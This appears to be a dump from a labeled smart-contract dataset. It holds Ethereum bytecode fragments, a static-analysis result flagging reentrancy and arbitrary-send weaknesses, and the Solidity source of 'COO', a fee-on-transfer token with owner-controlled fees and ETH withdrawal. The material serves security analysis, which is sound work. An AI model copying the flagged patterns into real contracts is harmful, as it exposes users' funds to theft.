141613db3565b5b6000613150848285016130ae565b91505092915050565b60006020828403121561316f5761316e613db3565b5b600061317d848285016130c3565b91505092915050565b6000806040838503121561319d5761319c613db3565b5b60006131ab858286016130ae565b92505060206131bc858286016130ae565b9150509250929050565b6000806000606084860312156131df576131de613db3565b5b60006131ed868287016130ae565b93505060206131fe868287016130ae565b925050604061320f86828701613102565b9150509250925092565b600080604083850312156132305761322f613db3565b5b600061323e858286016130ae565b925050602061324f85828601613102565b9150509250929050565b60006020828403121561326f5761326e613db3565b5b600061327d848285016130d8565b91505092915050565b60006020828403121561329c5761329b613db3565b5b60006132aa848285016130ed565b91505092915050565b6000602082840312156132c9576132c8613db3565b5b60006132d784828501613102565b91505092915050565b6000806000606084860312156132f9576132f8613db3565b5b600061330786828701613117565b935050602061331886828701613117565b925050604061332986828701613117565b9150509250925092565b600061333f838361334b565b60208301905092915050565b61335481613bb4565b82525050565b61336381613bb4565b82525050565b600061337482613a5a565b61337e8185613a7d565b935061338983613a4a565b8060005b838110156133ba5781516133a18882613333565b97506133ac83613a70565b92505060018101905061338d565b5085935050505092915050565b6133d081613bc6565b82525050565b6133df81613c09565b82525050565b60006133f082613a65565b6133fa8185613a8e565b935061340a818560208601613c1b565b61341381613db8565b840191505092915050565b600061342b602383613a8e565b915061343682613dc9565b604082019050919050565b600061344e602a83613a8e565b915061345982613e18565b604082019050919050565b6000613471602283613a8e565b915061347c82613e67565b604082019050919050565b6000613494602283613a8e565b915061349f82613eb6565b604082019050919050565b60006134b7601b83613a8e565b91506134c282613f05565b602082019050919050565b60006134da601583613a8e565b91506134e582613f2e565b602082019050919050565b60006134fd601e83613a8e565b915061350882613f57565b602082019050919050565b6000613520602383613a8e565b915061352b82613f80565b604082019050919050565b6000613543602183613a8e565b915061354e82613fcf565b604082019050919050565b6000613566602083613a8e565b91506135718261401e565b602082019050919050565b6000613589602983613a8e565b915061359482614047565b604082019050919050565b60006135ac601a83613a8e565b91506135b782614096565b602082019050919050565b60006135cf602483613a8e565b91506135da826140bf565b604082019050919050565b60006135f2602583613a8e565b91506135fd8261410e565b604082019050919050565b6000613615602483613a8e565b91506136208261415d565b604082019050919050565b6000613638601783613a8e565b9150613643826141ac565b602082019050919050565b600061365b601883613a8e565b9150613666826141d5565b602082019050919050565b61367a81613bf2565b82525050565b61368981613bfc565b82525050565b60006020820190506136a4600083018461335a565b92915050565b60006040820190506136bf600083018561335a565b6136cc602083018461335a565b9392505050565b60006040820190506136e8600083018561335a565b6136f56020830184613671565b9392505050565b600060c082019050613711600083018961335a565b61371e6020830188613671565b61372b60408301876133d6565b61373860608301866133d6565b613745608083018561335a565b61375260a0830184613671565b979650505050505050565b600060208201905061377260008301846133c7565b92915050565b6000602082019050818103600083015261379281846133e5565b905092915050565b600060208201905081810360008301526137b38161341e565b9050919050565b600060208201905081810360008301526137d381613441565b9050919050565b600060208201905081810360008301526137f381613464565b9050919050565b6000602082019050818103600083015261381381613487565b9050919050565b60006020820190508181036000830152613833816134aa565b9050919050565b60006020820190508181036000830152613853816134cd565b9050919050565b60006020820190508181036000830152613873816134f0565b9050919050565b6000602082019050818103600083015261389381613513565b9050919050565b600060208201905081810360008301526138b381613536565b9050919050565b600060208201905081810360008301526138d381613559565b9050919050565b600060208201905081810360008301526138f38161357c565b9050919050565b600060208201905081810360008301526139138161359f565b9050919050565b60006020820190508181036000830152613933816135c2565b9050919050565b60006020820190508181036000830152613953816135e5565b9050919050565b6000602082019050818103600083015261397381613608565b9050919050565b600060208201905081810360008301526139938161362b565b9050919050565b600060208201905081810360008301526139b38161364e565b9050919050565b60006020820190506139cf6000830184613671565b92915050565b600060a0820190506139ea6000830188613671565b6139f760208301876133d6565b8181036040830152613a098186613369565b9050613a18606083018561335a565b613a256080830184613671565b9695505050505050565b6000602082019050613a446000830184613680565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613aaa82613bf2565b9150613ab583613bf2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613aea57613ae9613cc8565b5b828201905092915050565b6000613b0082613bf2565b9150613b0b83613bf2565b925082613b1b57613b1a613cf7565b5b828204905092915050565b6000613b3182613bf2565b9150613b3c83613bf2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b7557613b74613cc8565b5b828202905092915050565b6000613b8b82613bf2565b9150613b9683613bf2565b925082821015613ba957613ba8613cc8565b5b828203905092915050565b6000613bbf82613bd2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c1482613bf2565b9050919050565b60005b83811015613c39578082015181840152602081019050613c1e565b83811115613c48576000848401525b50505050565b6000613c5982613bf2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c8c57613c8b613cc8565b5b600182019050919050565b6000613ca282613bf2565b9150613cad83613bf2565b925082613cbd57613cbc613cf7565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f4163636f756e7420697320616c726561647920626c61636b6c69737465640000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4163636f756e74206973206e6f7420626c61636b6c6973746564000000000000600082015250565b7f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f7560008201527f7465722e00000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61420781613bb4565b811461421257600080fd5b50565b61421e81613bc6565b811461422957600080fd5b50565b61423581613bf2565b811461424057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d255d039c624d153bebe545f75b4598dc7f185e8bb9194f442835bb3e45f7e2a64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,711
0x6499b8ec33ed99aa5d4be1c2d339d20dbfdb29ec
/** *Submitted for verification at Etherscan.io on 2022-04-25 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.12; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _createInitialSupply(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() external virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract COO is ERC20, Ownable { IDexRouter public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; uint256 public swapTokensAtAmount; address payable public TreasuryAddress; uint256 public buyTotalFees; uint256 public buyTreasuryFee; uint256 public buyLiquidityFee; uint256 public sellTotalFees; uint256 public sellTreasuryFee; uint256 public sellLiquidityFee; uint256 public tokensForTreasury; uint256 public tokensForLiquidity; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event ExcludeFromFees(address indexed account, bool isExcluded); event UpdatedTreasuryAddress(address indexed newWallet); event MaxTransactionExclusion(address _address, bool excluded); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event TransferForeignToken(address token, uint256 amount); constructor() ERC20("The Predators Dream", "COO") { address newOwner = msg.sender; // can leave alone if owner is deployer. IDexRouter _uniswapV2Router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IDexFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 999999999999999 * 1e18; swapTokensAtAmount = totalSupply * 25 / 100000; // 0.025% swap amount buyTreasuryFee = 0; buyLiquidityFee = 0; buyTotalFees = buyTreasuryFee + buyLiquidityFee; sellTreasuryFee = 5; sellLiquidityFee = 0; sellTotalFees = sellTreasuryFee + sellLiquidityFee ; TreasuryAddress = payable(address(0x48eE6c7541b37e489cd11317A849B2682F805c41)); excludeFromFees(newOwner, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); _createInitialSupply(newOwner, totalSupply); transferOwnership(newOwner); } receive() external payable {} // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 1 / 100, "Swap amount cannot be higher than 1% total supply."); swapTokensAtAmount = newAmount; } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateBuyFees(uint256 _treasuryFee, uint256 _liquidityFee) external onlyOwner { buyTreasuryFee = _treasuryFee; buyLiquidityFee = _liquidityFee; buyTotalFees = buyTreasuryFee + buyLiquidityFee; require(buyTotalFees <= 10, "Must keep fees less than 10%"); } function updateSellFees(uint256 _treasuryFee, uint256 _liquidityFee) external onlyOwner { sellTreasuryFee = _treasuryFee; sellLiquidityFee = _liquidityFee; sellTotalFees = sellTreasuryFee + sellLiquidityFee; require(sellTotalFees <= 10, "Must keep fees less than 10%"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if(canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } bool takeFee = true; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on Trades, not on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount * sellTotalFees /100; tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForTreasury += fees * sellTreasuryFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount * buyTotalFees / 100; tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForTreasury += fees * buyTreasuryFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(owner()), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForTreasury; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 10){ contractBalance = swapTokensAtAmount * 10; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; swapTokensForEth(contractBalance - liquidityTokens); uint256 ethBalance = address(this).balance; uint256 ethForLiquidity = ethBalance; uint256 ethForTreasury = ethBalance * tokensForTreasury / (totalTokensToSwap - (tokensForLiquidity/2)); ethForLiquidity -= ethForTreasury; tokensForLiquidity = 0; tokensForTreasury = 0; if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(contractETHBalance,TreasuryAddress); } } function sendETHToFee(uint256 amount,address payable wallet) private { wallet.transfer(amount); } function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) { require(_token != address(0), "_token address cannot be 0"); require(_token != address(this), "Can't withdraw native tokens"); uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); _sent = IERC20(_token).transfer(_to, _contractBalance); emit TransferForeignToken(_token, _contractBalance); } // withdraw ETH if stuck or someone sends to the address function withdrawStuckETH() external onlyOwner { bool success; (success,) = address(msg.sender).call{value: address(this).balance}(""); } function setTreasuryAddress(address _TreasuryAddress) external onlyOwner { require(_TreasuryAddress != address(0), "_TreasuryAddress address cannot be 0"); TreasuryAddress = payable(_TreasuryAddress); emit UpdatedTreasuryAddress(_TreasuryAddress); } }
0x6080604052600436106102085760003560e01c8063715018a611610118578063cc2ffe7c116100a0578063e2f456051161006f578063e2f4560514610624578063f11a24d31461063a578063f2fde38b14610650578063f5648a4f14610670578063f63743421461068557600080fd5b8063cc2ffe7c14610592578063d257b34f146105a8578063d85ba063146105c8578063dd62ed3e146105de57600080fd5b80639a7a23d6116100e75780639a7a23d6146104e2578063a457c2d714610502578063a9059cbb14610522578063b62496f514610542578063c02466681461057257600080fd5b8063715018a61461047a5780638366e79a1461048f5780638da5cb5b146104af57806395d89b41146104cd57600080fd5b8063395093511161019b5780636605bfda1161016a5780636605bfda146103d857806366ca9b83146103f85780636a486a8e146104185780636b2fb1241461042e57806370a082311461044457600080fd5b8063395093511461034e57806349bd5a5e1461036e5780635b5c251f146103a25780635c068a8c146103c257600080fd5b806318160ddd116101d757806318160ddd146102dd5780631a8145bb146102fc57806323b872dd14610312578063313ce5671461033257600080fd5b806302dbd8f81461021457806306fdde0314610236578063095ea7b3146102615780631694505e1461029157600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061023461022f366004611bb3565b61069b565b005b34801561024257600080fd5b5061024b61073b565b6040516102589190611bd5565b60405180910390f35b34801561026d57600080fd5b5061028161027c366004611c42565b6107cd565b6040519015158152602001610258565b34801561029d57600080fd5b506102c57f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610258565b3480156102e957600080fd5b506002545b604051908152602001610258565b34801561030857600080fd5b506102ee600f5481565b34801561031e57600080fd5b5061028161032d366004611c6e565b6107e3565b34801561033e57600080fd5b5060405160128152602001610258565b34801561035a57600080fd5b50610281610369366004611c42565b61088d565b34801561037a57600080fd5b506102c57f000000000000000000000000fd1328a817a81c0ac5da7a035cbe8b67ff0b792b81565b3480156103ae57600080fd5b506007546102c5906001600160a01b031681565b3480156103ce57600080fd5b506102ee60095481565b3480156103e457600080fd5b506102346103f3366004611caf565b6108c9565b34801561040457600080fd5b50610234610413366004611bb3565b61099f565b34801561042457600080fd5b506102ee600b5481565b34801561043a57600080fd5b506102ee600c5481565b34801561045057600080fd5b506102ee61045f366004611caf565b6001600160a01b031660009081526020819052604090205490565b34801561048657600080fd5b50610234610a32565b34801561049b57600080fd5b506102816104aa366004611cd3565b610aa6565b3480156104bb57600080fd5b506005546001600160a01b03166102c5565b3480156104d957600080fd5b5061024b610cb0565b3480156104ee57600080fd5b506102346104fd366004611d1a565b610cbf565b34801561050e57600080fd5b5061028161051d366004611c42565b610d9b565b34801561052e57600080fd5b5061028161053d366004611c42565b610e34565b34801561054e57600080fd5b5061028161055d366004611caf565b60116020526000908152604090205460ff1681565b34801561057e57600080fd5b5061023461058d366004611d1a565b610e41565b34801561059e57600080fd5b506102ee600e5481565b3480156105b457600080fd5b506102346105c3366004611d48565b610eca565b3480156105d457600080fd5b506102ee60085481565b3480156105ea57600080fd5b506102ee6105f9366004611cd3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561063057600080fd5b506102ee60065481565b34801561064657600080fd5b506102ee600a5481565b34801561065c57600080fd5b5061023461066b366004611caf565b611012565b34801561067c57600080fd5b506102346110fd565b34801561069157600080fd5b506102ee600d5481565b6005546001600160a01b031633146106ce5760405162461bcd60e51b81526004016106c590611d61565b60405180910390fd5b600c829055600d8190556106e28183611dac565b600b819055600a10156107375760405162461bcd60e51b815260206004820152601c60248201527f4d757374206b6565702066656573206c657373207468616e203130250000000060448201526064016106c5565b5050565b60606003805461074a90611dc4565b80601f016020809104026020016040519081016040528092919081815260200182805461077690611dc4565b80156107c35780601f10610798576101008083540402835291602001916107c3565b820191906000526020600020905b8154815290600101906020018083116107a657829003601f168201915b5050505050905090565b60006107da338484611174565b50600192915050565b60006107f0848484611298565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156108755760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016106c5565b6108828533858403611174565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107da9185906108c4908690611dac565b611174565b6005546001600160a01b031633146108f35760405162461bcd60e51b81526004016106c590611d61565b6001600160a01b0381166109555760405162461bcd60e51b8152602060048201526024808201527f5f54726561737572794164647265737320616464726573732063616e6e6f74206044820152630626520360e41b60648201526084016106c5565b600780546001600160a01b0319166001600160a01b0383169081179091556040517f2e1e696cfb265fa16e1170d24ef04cb2262772bde00ecf34d80bae6722487b7f90600090a250565b6005546001600160a01b031633146109c95760405162461bcd60e51b81526004016106c590611d61565b6009829055600a8190556109dd8183611dac565b6008819055600a10156107375760405162461bcd60e51b815260206004820152601c60248201527f4d757374206b6565702066656573206c657373207468616e203130250000000060448201526064016106c5565b6005546001600160a01b03163314610a5c5760405162461bcd60e51b81526004016106c590611d61565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610ad35760405162461bcd60e51b81526004016106c590611d61565b6001600160a01b038316610b295760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f74206265203000000000000060448201526064016106c5565b6001600160a01b038316301415610b825760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e730000000060448201526064016106c5565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610bc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bed9190611dff565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303816000875af1158015610c40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c649190611e18565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b60606004805461074a90611dc4565b6005546001600160a01b03163314610ce95760405162461bcd60e51b81526004016106c590611d61565b7f000000000000000000000000fd1328a817a81c0ac5da7a035cbe8b67ff0b792b6001600160a01b0316826001600160a01b03161415610d915760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084016106c5565b61073782826115e3565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106c5565b610e2a3385858403611174565b5060019392505050565b60006107da338484611298565b6005546001600160a01b03163314610e6b5760405162461bcd60e51b81526004016106c590611d61565b6001600160a01b038216600081815260106020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314610ef45760405162461bcd60e51b81526004016106c590611d61565b620186a0610f0160025490565b610f0c906001611e35565b610f169190611e54565b811015610f835760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b60648201526084016106c5565b6064610f8e60025490565b610f99906001611e35565b610fa39190611e54565b81111561100d5760405162461bcd60e51b815260206004820152603260248201527f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160448201527137101892903a37ba30b61039bab838363c9760711b60648201526084016106c5565b600655565b6005546001600160a01b0316331461103c5760405162461bcd60e51b81526004016106c590611d61565b6001600160a01b0381166110a15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106c5565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111275760405162461bcd60e51b81526004016106c590611d61565b604051600090339047908381818185875af1925050503d8060008114611169576040519150601f19603f3d011682016040523d82523d6000602084013e61116e565b606091505b50505050565b6001600160a01b0383166111d65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c5565b6001600160a01b0382166112375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c5565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112be5760405162461bcd60e51b81526004016106c590611e76565b6001600160a01b0382166112e45760405162461bcd60e51b81526004016106c590611ebb565b600081116113345760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016106c5565b30600090815260208190526040902054600654811080159081906113625750600554600160a01b900460ff16155b801561138757506001600160a01b03851660009081526011602052604090205460ff16155b80156113ac57506001600160a01b03851660009081526010602052604090205460ff16155b80156113d157506001600160a01b03841660009081526010602052604090205460ff16155b156113ff576005805460ff60a01b1916600160a01b1790556113f1611637565b6005805460ff60a01b191690555b6001600160a01b03851660009081526010602052604090205460019060ff168061144157506001600160a01b03851660009081526010602052604090205460ff165b1561144a575060005b600081156115cf576001600160a01b03861660009081526011602052604090205460ff16801561147c57506000600b54115b15611504576064600b54866114919190611e35565b61149b9190611e54565b9050600b54600d54826114ae9190611e35565b6114b89190611e54565b600f60008282546114c99190611dac565b9091555050600b54600c546114de9083611e35565b6114e89190611e54565b600e60008282546114f99190611dac565b909155506115b19050565b6001600160a01b03871660009081526011602052604090205460ff16801561152e57506000600854115b156115b1576064600854866115439190611e35565b61154d9190611e54565b9050600854600a54826115609190611e35565b61156a9190611e54565b600f600082825461157b9190611dac565b90915550506008546009546115909083611e35565b61159a9190611e54565b600e60008282546115ab9190611dac565b90915550505b80156115c2576115c287308361175d565b6115cc8186611efe565b94505b6115da87878761175d565b50505050505050565b6001600160a01b038216600081815260116020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b3060009081526020819052604081205490506000600e54600f5461165b9190611dac565b9050811580611668575080155b15611671575050565b60065461167f90600a611e35565b8211156116975760065461169490600a611e35565b91505b6000600282600f54856116aa9190611e35565b6116b49190611e54565b6116be9190611e54565b90506116d26116cd8285611efe565b6118b2565b600f54479081906000906116e890600290611e54565b6116f29086611efe565b600e546116ff9085611e35565b6117099190611e54565b90506117158183611efe565b6000600f819055600e55915083158015906117305750600082115b1561173f5761173f8483611a72565b4780156115da576007546115da9082906001600160a01b0316611b78565b6001600160a01b0383166117835760405162461bcd60e51b81526004016106c590611e76565b6001600160a01b0382166117a95760405162461bcd60e51b81526004016106c590611ebb565b6001600160a01b038316600090815260208190526040902054818110156118215760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106c5565b6001600160a01b0